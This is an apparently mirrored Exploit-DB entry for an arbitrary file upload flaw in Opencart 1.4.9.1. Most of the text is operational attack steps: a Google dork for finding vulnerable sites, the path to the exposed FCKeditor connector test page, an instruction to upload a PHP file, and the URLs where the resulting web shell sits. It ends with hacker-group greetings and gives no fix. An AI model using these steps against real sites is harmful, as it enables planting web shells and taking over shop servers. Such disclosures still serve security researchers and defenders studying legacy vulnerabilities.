Opencart 1.4.9.1 – Arbitrary File Upload

  • 作者: Net.Edit0r
    日期: 2010-09-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15050/
  • ==========================================
    Opencart remote file Upload Vulnerability
    ==========================================
    
    #Exploit Title: Opencart remote file uploade
    #Author: Net.Edit0r
    #Email: Net.Edit0r@Att.Net ~ Black.Hat.tm@Gmail.com
    #Google dork: [inurl:Powered By OpenCart
    #Software Link: http://www.opencart.com/index.php?route=download/download
    #Platform :linux/php
    
    ######################################Iranian HackerZ####################################
    
    # http://target.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
    # Example site: http://server
    # Select the "File Upload" To use = php
    # http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
    # Sh3ll : http://server/admin/view/javascript/fckeditor/editor/filemanager/connectors/php/shell.php
    # OR
    # http://server/shell.php
    
    ######################################Demo Example####################################
    
    #Demo : http://www.site.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html#
    #Demo : http://www.site.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html#
    
    #########################################################################################
    
    #Spical Thanks To >> Darkcoder ~ Classic ~ Jenne bamaram ~ S3Ri0uS ~
    _AriaNet_ And All B0x ((Web : ( http://houseofhackers.net/forum/ )))
    
    ########################################## End ##########################################